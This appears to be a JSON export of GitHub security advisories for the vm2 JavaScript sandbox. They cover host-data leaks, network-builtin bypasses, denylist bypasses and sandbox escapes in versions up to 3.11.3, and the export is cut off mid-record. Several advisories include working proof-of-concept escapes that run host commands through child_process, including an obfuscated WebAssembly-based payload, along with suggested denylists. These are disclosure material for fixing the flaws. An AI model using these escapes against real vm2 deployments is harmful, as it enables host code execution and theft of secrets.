[{"ghsa_id":"GHSA-9g8x-92q2-p28f","cve_id":"CVE-2026-47141","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9g8x-92q2-p28f","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9g8x-92q2-p28f","summary":"NodeVM observability builtins leak host process and HTTP request data","description":"## Summary\r\n\r\n`NodeVM` exposes some process-wide observability builtins when they are allowed through `require.builtin`.\r\n\r\nThe following builtins are not blocked by the dangerous builtin denylist:\r\n\r\n```text\r\ndiagnostics_channel\r\nasync_hooks\r\nperf_hooks\r\n```\r\n\r\nThese modules are process-wide, not sandbox-local. Sandboxed code can use them to observe host application data across the vm2 boundary.\r\n\r\n**Note**: It is a host data exposure issue. The impact depends on whether the host application allows these builtins and uses HTTP, async request context, diagnostics channels, or performance marks in the same process.\r\n\r\n## Details\r\n\r\nNon-denied builtins are exposed to the sandbox through `lib/builtin.js`:\r\n\r\n```js\r\nbuiltins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));\r\n```\r\n\r\n`diagnostics_channel`, `async_hooks`, and `perf_hooks` are not denied. These modules expose host process state rather than sandbox-local state.\r\n\r\nConfirmed examples:\r\n\r\n1. `diagnostics_channel` lets sandboxed code subscribe to Node.js HTTP diagnostic channels such as `http.server.request.start`. The sandbox receives host HTTP request objects and can read headers such as `Authorization` or session tokens.\r\n2. `async_hooks.executionAsyncResource()` lets sandboxed code read the current host `AsyncResource`. If the host stores request/user data on that resource, the sandbox can read it.\r\n3. `perf_hooks.performance.getEntriesByType('mark')` lets sandboxed code read host performance timeline entries.\r\n\r\n## PoC\r\n\r\nRun from the vm2 repository root:\r\n\r\n```bash\r\nnode poc/observability-builtins-info-leak.js\r\n```\r\n[observability-builtins-info-leak.js](https://github.com/user-attachments/files/27571259/observability-builtins-info-leak.js)\r\n\r\nThe PoC uses only the specific builtin being tested in each section.\r\n\r\nIt confirms:\r\n\r\n```text\r\ndiagnostics_channel: sandbox reads host HTTP request headers\r\nasync_hooks: sandbox reads host AsyncResource data\r\nperf_hooks: sandbox reads host performance mark names\r\n```\r\n\r\nExample impact from the PoC:\r\n\r\n```text\r\nauthorization: Bearer HOST_HTTP_SECRET_...\r\nx-session-token: HOST_HTTP_SECRET_...\r\n```\r\n\r\nThese values are sent to a host HTTP server, but the sandbox reads them through `diagnostics_channel`.\r\n\r\n<img width=\"997\" height=\"566\" alt=\"Screenshot 2026-05-10 at 1 13 20 PM\" src=\"https://github.com/user-attachments/assets/36a7d600-8b53-4bfe-ab06-4e6dcfad5015\" />\r\n\r\n## Impact\r\n\r\nAn attacker who can run untrusted JavaScript inside `NodeVM` with affected builtin settings can observe data from the host process.\r\n\r\nIn a real application, this may expose HTTP request headers, authorization tokens, session tokens, request context values, user identifiers, or other sensitive diagnostics data from the host application or from other users.\r\n\r\n## Suggested fix\r\n\r\nTreat process-wide observability modules as dangerous builtins for untrusted sandboxes.\r\n\r\nAt minimum, consider blocking:\r\n\r\n```text\r\ndiagnostics_channel\r\nasync_hooks\r\nperf_hooks\r\n```\r\n\r\nThese modules are not sandbox-local and can expose host process state across the vm2 boundary.\r\n","severity":"medium","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-9g8x-92q2-p28f","type":"GHSA"},{"value":"CVE-2026-47141","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:04:06Z","published_at":"2026-05-18T12:49:16Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-668","name":"Exposure of Resource to Wrong Sphere"}],"cwe_ids":["CWE-668"],"credits":[{"login":"spbavarva","type":"reporter"}],"credits_detailed":[{"user":{"login":"spbavarva","id":84507631,"node_id":"MDQ6VXNlcjg0NTA3NjMx","avatar_url":"https://avatars.githubusercontent.com/u/84507631?v=4","gravatar_id":"","url":"https://api.github.com/users/spbavarva","html_url":"https://github.com/spbavarva","followers_url":"https://api.github.com/users/spbavarva/followers","following_url":"https://api.github.com/users/spbavarva/following{/other_user}","gists_url":"https://api.github.com/users/spbavarva/gists{/gist_id}","starred_url":"https://api.github.com/users/spbavarva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spbavarva/subscriptions","organizations_url":"https://api.github.com/users/spbavarva/orgs","repos_url":"https://api.github.com/users/spbavarva/repos","events_url":"https://api.github.com/users/spbavarva/events{/privacy}","received_events_url":"https://api.github.com/users/spbavarva/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-r9pm-gxmw-wv6p","cve_id":"CVE-2026-47139","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-r9pm-gxmw-wv6p","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-r9pm-gxmw-wv6p","summary":"NodeVM network builtin exclusions bypass via internal _http_client and _http_server","description":"## Summary\r\n\r\n`NodeVM` supports excluding public network builtins from the wildcard builtin option. With this configuration direct access to `http`, `https`, `http2`, `net`, `dgram`, `tls`, `dns`, and `dns/promises` is blocked.\r\n\r\nHowever, Node.js also exposes underscored internal HTTP builtins such as `_http_client` and `_http_server`. These are not blocked when the public modules are excluded.\r\n\r\nSandboxed code can use these internal builtins to make outbound HTTP requests and open listening HTTP sockets even though the public network modules are denied.\r\n\r\n**Note**: This is not host RCE. It is a network capability bypass that can lead to SSRF-style access to internal services.\r\n\r\n## Details\r\n\r\nThe wildcard builtin expansion is based on Node.js builtin module names:\r\n\r\n```js\r\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\r\n  .filter(s=>!s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));\r\n```\r\n\r\nPublic modules can be excluded with `-name`:\r\n\r\n```js\r\nif (builtins.indexOf(`-${name}`) === -1) {\r\n  addDefaultBuiltin(res, name, hostRequire);\r\n}\r\n```\r\n\r\nBut excluding `http` and `net` does not exclude internal siblings such as:\r\n\r\n```text\r\n_http_client\r\n_http_server\r\n_tls_wrap\r\n```\r\n\r\nThese internal modules expose network primitives.\r\n\r\nConfirmed examples:\r\n\r\n1. `require('_http_client').ClientRequest(...)` performs an outbound HTTP request to a host-local service while `http` and `net` are blocked.\r\n2. `require('_http_server').Server(...).listen(...)` opens a listening HTTP socket while `http` and `net` are blocked.\r\n\r\n## PoC\r\n\r\nTested on:\r\n\r\n```text\r\nvm2: 3.11.2\r\nNode.js: v25.9.0\r\n```\r\n\r\nRun from the vm2 repository root:\r\n\r\n```bash\r\nnode poc/internal-http-builtin-network-bypass.js\r\n```\r\n[internal-http-builtin-network-bypass.js](https://github.com/user-attachments/files/27571182/internal-http-builtin-network-bypass.js)\r\n\r\n\r\nThe PoC first confirms the intended restrictions work then bypasses them:\r\n\r\n```text\r\nrequire(\"_http_client\").ClientRequest(...)\r\n```\r\n\r\nThis performs an HTTP request to a host-local service and reads the response.\r\n\r\nIt also confirms:\r\n\r\n```text\r\nrequire(\"_http_server\").Server(...).listen(0)\r\n```\r\n\r\nThis opens a listening HTTP socket from inside the sandbox.\r\n\r\n<img width=\"951\" height=\"623\" alt=\"Screenshot 2026-05-10 at 1 07 39 PM\" src=\"https://github.com/user-attachments/assets/21bfb1ff-dd15-423a-92c4-0337cd07816c\" />\r\n\r\n## Impact\r\n\r\nAn attacker who can run untrusted JavaScript inside `NodeVM` with this affected builtin configuration can regain network access even when the application attempted to block network modules.\r\n\r\nThis can allow SSRF-style access to localhost services, metadata endpoints, internal admin panels, or other network resources reachable from the host process.\r\n\r\n## Suggested fix\r\n\r\nTreat underscored internal network modules as dangerous or link their availability to the public module they wrap.\r\n\r\nAt minimum, exclude related internal modules such as:\r\n\r\n```text\r\n_http_agent\r\n_http_client\r\n_http_common\r\n_http_incoming\r\n_http_outgoing\r\n_http_server\r\n_tls_common\r\n_tls_wrap\r\n```\r\n\r\nAlternatively, deny underscored Node.js internals from wildcard builtin expansion by default.\r\n","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-r9pm-gxmw-wv6p","type":"GHSA"},{"value":"CVE-2026-47139","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:02:22Z","published_at":"2026-05-18T12:48:57Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"spbavarva","type":"reporter"}],"credits_detailed":[{"user":{"login":"spbavarva","id":84507631,"node_id":"MDQ6VXNlcjg0NTA3NjMx","avatar_url":"https://avatars.githubusercontent.com/u/84507631?v=4","gravatar_id":"","url":"https://api.github.com/users/spbavarva","html_url":"https://github.com/spbavarva","followers_url":"https://api.github.com/users/spbavarva/followers","following_url":"https://api.github.com/users/spbavarva/following{/other_user}","gists_url":"https://api.github.com/users/spbavarva/gists{/gist_id}","starred_url":"https://api.github.com/users/spbavarva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spbavarva/subscriptions","organizations_url":"https://api.github.com/users/spbavarva/orgs","repos_url":"https://api.github.com/users/spbavarva/repos","events_url":"https://api.github.com/users/spbavarva/events{/privacy}","received_events_url":"https://api.github.com/users/spbavarva/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6}},{"ghsa_id":"GHSA-rp36-8xq3-r6c4","cve_id":"CVE-2026-47140","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-rp36-8xq3-r6c4","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-rp36-8xq3-r6c4","summary":"NodeVM builtin denylist bypass via process and inspector/promises allows host code execution","description":"## Summary\r\n\r\n`NodeVM` blocks several dangerous Node.js builtins such as `module`, `worker_threads`, `cluster`, `vm`, `repl`, and `inspector`.\r\n\r\nHowever, the denylist misses `process` and `inspector/promises`. Both can be used from sandboxed code to reach host-side execution primitives.\r\n\r\nThis allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process.\r\n\r\n## Details\r\n\r\nThe dangerous builtin denylist is defined in `lib/builtin.js`. This list does not include:\r\n\r\n```text\r\nprocess\r\ninspector/promises\r\n```\r\n\r\nNon-denied builtins are exposed to the sandbox through:\r\n\r\n```js\r\nbuiltins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));\r\n```\r\n\r\nBecause of this, sandboxed code can bypass the expected restrictions in two ways:\r\n\r\n1. `require('process').getBuiltinModule('child_process')` reloads `child_process`, even when `child_process` is excluded.\r\n2. `require('inspector/promises')` exposes the Inspector protocol and can call `Runtime.evaluate` in the host process.\r\n\r\n## PoC\r\n\r\nTested on:\r\n\r\n```text\r\nvm2: 3.11.2\r\nNode.js: v25.9.0\r\n```\r\n\r\nRun from the vm2 repository root:\r\n\r\n```bash\r\nnode poc/dangerous-builtin-denylist-rce.js\r\n```\r\n[dangerous-builtin-denylist-rce.js](https://github.com/user-attachments/files/27570113/dangerous-builtin-denylist-rce.js)\r\n\r\n\r\nThe PoC first confirms the intended restrictions work:\r\n\r\n```text\r\nrequire(\"inspector\"): BLOCKED\r\nrequire(\"child_process\"): BLOCKED\r\n```\r\n\r\nThen it bypasses them:\r\n\r\n```text\r\nrequire(\"process\").getBuiltinModule(\"child_process\").execFileSync(...)\r\n```\r\n\r\nThis spawns a host child process. It also confirms:\r\n\r\n```text\r\nrequire(\"inspector/promises\").Session().post(\"Runtime.evaluate\", ...)\r\n```\r\n\r\nThis evaluates JavaScript in the host process.\r\n\r\n<img width=\"858\" height=\"766\" alt=\"Screenshot 2026-05-10 at 11 53 33 AM\" src=\"https://github.com/user-attachments/assets/7614aecb-5ffd-4c41-bfe8-e1fcb3b1bb59\" />\r\n\r\n## Impact\r\n\r\nAn attacker who can run untrusted JavaScript inside `NodeVM` with affected builtin settings can escape the sandbox and execute arbitrary code in the host process.\r\n\r\nThis can lead to full compromise of the application process, including reading files, writing files, spawning processes, and accessing host environment secrets.\r\n\r\n(This is not reachable with the default NodeVM configuration where require is disabled or no affected builtins are allowed. It affects applications that allow process, inspector/promises, or the wildcard \"*\" in require.builtin.)\r\n\r\n## Suggested fix\r\n\r\nAdd `process` and `inspector/promises` to the dangerous builtin blocklist.\r\n\r\nAlso consider blocking dangerous builtin families by prefix, for example blocking both:\r\n\r\n```text\r\ninspector\r\ninspector/*\r\n```\r\n\r\ninstead of only exact module names.","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-rp36-8xq3-r6c4","type":"GHSA"},{"value":"CVE-2026-47140","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-19T14:11:00Z","published_at":"2026-05-18T12:48:43Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"spbavarva","type":"reporter"},{"login":"VladimirEliTokarev","type":"reporter"}],"credits_detailed":[{"user":{"login":"spbavarva","id":84507631,"node_id":"MDQ6VXNlcjg0NTA3NjMx","avatar_url":"https://avatars.githubusercontent.com/u/84507631?v=4","gravatar_id":"","url":"https://api.github.com/users/spbavarva","html_url":"https://github.com/spbavarva","followers_url":"https://api.github.com/users/spbavarva/followers","following_url":"https://api.github.com/users/spbavarva/following{/other_user}","gists_url":"https://api.github.com/users/spbavarva/gists{/gist_id}","starred_url":"https://api.github.com/users/spbavarva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spbavarva/subscriptions","organizations_url":"https://api.github.com/users/spbavarva/orgs","repos_url":"https://api.github.com/users/spbavarva/repos","events_url":"https://api.github.com/users/spbavarva/events{/privacy}","received_events_url":"https://api.github.com/users/spbavarva/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"VladimirEliTokarev","id":58337987,"node_id":"MDQ6VXNlcjU4MzM3OTg3","avatar_url":"https://avatars.githubusercontent.com/u/58337987?v=4","gravatar_id":"","url":"https://api.github.com/users/VladimirEliTokarev","html_url":"https://github.com/VladimirEliTokarev","followers_url":"https://api.github.com/users/VladimirEliTokarev/followers","following_url":"https://api.github.com/users/VladimirEliTokarev/following{/other_user}","gists_url":"https://api.github.com/users/VladimirEliTokarev/gists{/gist_id}","starred_url":"https://api.github.com/users/VladimirEliTokarev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/VladimirEliTokarev/subscriptions","organizations_url":"https://api.github.com/users/VladimirEliTokarev/orgs","repos_url":"https://api.github.com/users/VladimirEliTokarev/repos","events_url":"https://api.github.com/users/VladimirEliTokarev/events{/privacy}","received_events_url":"https://api.github.com/users/VladimirEliTokarev/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-6j2x-vhqr-qr7q","cve_id":"CVE-2026-47210","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-6j2x-vhqr-qr7q","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q","summary":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"### Summary\r\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\r\n\r\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\r\n\r\n### Details\r\n\r\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\r\n\r\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\r\n\r\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\r\n\r\n### PoC\r\nEnvironment: node:26-bookworm\r\n```javascript\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nconsole.log(vm.run(`\r\n(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{\r\n    let P=e.constructor.constructor('return process')()\r\n    P.mainModule.require('child_process').execSync('touch pwned');\r\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()\r\n`));\r\n```\r\n\r\n### Impact\r\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\r\n\r\nWho is impacted:\r\n\r\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\r\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\r\n\r\nPractical impact:\r\n\r\n- arbitrary command execution in the host process\r\n- arbitrary file read / write accessible to the host process\r\n- theft of secrets, tokens, credentials, and application data\r\n- complete compromise of services relying on `vm2` isolation","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-6j2x-vhqr-qr7q","type":"GHSA"},{"value":"CVE-2026-47210","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:56:09Z","published_at":"2026-05-18T12:48:20Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"cwe_ids":["CWE-913"],"credits":[{"login":"RealHurrison","type":"reporter"}],"credits_detailed":[{"user":{"login":"RealHurrison","id":43513000,"node_id":"MDQ6VXNlcjQzNTEzMDAw","avatar_url":"https://avatars.githubusercontent.com/u/43513000?v=4","gravatar_id":"","url":"https://api.github.com/users/RealHurrison","html_url":"https://github.com/RealHurrison","followers_url":"https://api.github.com/users/RealHurrison/followers","following_url":"https://api.github.com/users/RealHurrison/following{/other_user}","gists_url":"https://api.github.com/users/RealHurrison/gists{/gist_id}","starred_url":"https://api.github.com/users/RealHurrison/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RealHurrison/subscriptions","organizations_url":"https://api.github.com/users/RealHurrison/orgs","repos_url":"https://api.github.com/users/RealHurrison/repos","events_url":"https://api.github.com/users/RealHurrison/events{/privacy}","received_events_url":"https://api.github.com/users/RealHurrison/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-m4wx-m65x-ghrr","cve_id":"CVE-2026-47137","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-m4wx-m65x-ghrr","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","summary":"GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","description":"## Summary\r\n\r\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\r\n\r\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\r\n\r\n## Root Cause\r\n\r\n```javascript\r\n// nodevm.js:263 — the security check\r\nif (options.nesting === true && options.require === false) {\r\n    throw new VMError('...');\r\n}\r\n// nodevm.js:280 — the default assignment (AFTER the check)\r\nconst { require: requireOpts = false } = options;\r\n// When options.require is undefined:\r\n//   - Line 263: undefined === false → FALSE → check skipped\r\n//   - Line 280: requireOpts = false → same as require:false\r\n```\r\n\r\n## Impact\r\n\r\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\r\n\r\n1. `require('vm2')` to get the vm2 library\r\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\r\n3. Execute arbitrary OS commands via `child_process.execSync`\r\n\r\nThe inner VM is completely unconstrained by the outer sandbox configuration.\r\n\r\n## Reproduction\r\n\r\n```javascript\r\nconst { NodeVM } = require('vm2');\r\n\r\n// nesting:true, require not specified (defaults to false AFTER the check)\r\nconst nvm = new NodeVM({ nesting: true });\r\n\r\nconst result = nvm.run(`\r\n  const { NodeVM } = require('vm2');\r\n  const inner = new NodeVM({\r\n    require: { builtin: ['child_process'] }\r\n  });\r\n  module.exports = inner.run(\r\n    \"module.exports = require('child_process').execSync('id').toString()\",\r\n    'exploit.js'\r\n  );\r\n`, 'exploit.js');\r\n\r\nconsole.log(result); // prints host uid/gid — full RCE\r\n```\r\n\r\n## Suggested Fix\r\n\r\n```javascript\r\n// Change the check to catch both false and undefined/omitted:\r\nif (options.nesting === true && !options.require) {\r\n    throw new VMError('...');\r\n}\r\n```\r\n\r\nOr move the check after the destructuring default assignment:\r\n\r\n```javascript\r\nconst { require: requireOpts = false } = options;\r\nif (options.nesting === true && !requireOpts) {\r\n    throw new VMError('...');\r\n}\r\n```","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-m4wx-m65x-ghrr","type":"GHSA"},{"value":"CVE-2026-47137","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:01:37Z","published_at":"2026-05-18T12:48:03Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"cwe_ids":["CWE-913"],"credits":[{"login":"q1uf3ngONEKEY","type":"reporter"}],"credits_detailed":[{"user":{"login":"q1uf3ngONEKEY","id":270881999,"node_id":"U_kgDOECVUzw","avatar_url":"https://avatars.githubusercontent.com/u/270881999?v=4","gravatar_id":"","url":"https://api.github.com/users/q1uf3ngONEKEY","html_url":"https://github.com/q1uf3ngONEKEY","followers_url":"https://api.github.com/users/q1uf3ngONEKEY/followers","following_url":"https://api.github.com/users/q1uf3ngONEKEY/following{/other_user}","gists_url":"https://api.github.com/users/q1uf3ngONEKEY/gists{/gist_id}","starred_url":"https://api.github.com/users/q1uf3ngONEKEY/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/q1uf3ngONEKEY/subscriptions","organizations_url":"https://api.github.com/users/q1uf3ngONEKEY/orgs","repos_url":"https://api.github.com/users/q1uf3ngONEKEY/repos","events_url":"https://api.github.com/users/q1uf3ngONEKEY/events{/privacy}","received_events_url":"https://api.github.com/users/q1uf3ngONEKEY/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-c4cf-2hgv-2qv6","cve_id":"CVE-2026-